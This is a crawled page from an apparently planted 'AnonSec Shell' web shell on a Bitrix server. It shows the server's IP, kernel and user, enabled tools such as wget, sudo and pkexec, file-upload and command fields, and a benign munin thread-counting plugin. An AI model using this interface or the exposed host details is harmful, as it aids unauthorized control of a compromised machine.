AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.116.8.148
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/munin/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /etc/munin/plugins/threads
#!/usr/bin/sh
# -*- sh -*-
# vim: ft=sh

set -e

: << =cut

=head1 NAME

threads - Plugin to monitor the number of threads on Linux

=head1 CONFIGURATION

No configuration

=head1 AUTHOR

Lars Strand

=head1 LICENSE

GNU GPL

=head1 MAGIC MARKERS

 #%# family=auto
 #%# capabilities=autoconf

=cut

if [ "$1" = "autoconf" ]; then
    grep -q '^Threads' /proc/$$/status && echo "yes" || echo "no (/proc/$$/status not readable)"
    exit 0
fi

if [ "$1" = "config" ]; then
    echo 'graph_title Number of threads'
    #echo 'graph_args --base 1000 -l 0 '
    echo 'graph_vlabel number of threads'
    echo 'graph_category processes'
    echo 'graph_info This graph shows the number of threads.'
    echo 'threads.label threads'
    echo 'threads.info The current number of threads.'
    exit 0
fi

# Discard find's stderr, since SELinux or others may prevent us from parsing
# proc directories (e.g. "find: '/proc/fs/nfsd': Permission denied").
# grep's -s suppresses errors about files that vanished before they could be
# read.  It isn't entirely portable, but GNU grep should be a given on Linux.
# Sadly awk has no such equivalent option or we could skip grep altogether.
find /proc/ -mindepth 2 -maxdepth 2 -type f -name status -print0 2>/dev/null \
    | xargs -0 --no-run-if-empty --max-args=1000 grep -sh '^Threads:' \
    | awk 'BEGIN { sum = 0; }
           { sum += $2; }
           END { print "threads.value", sum; }'

Anon7 - 2022
AnonSec Team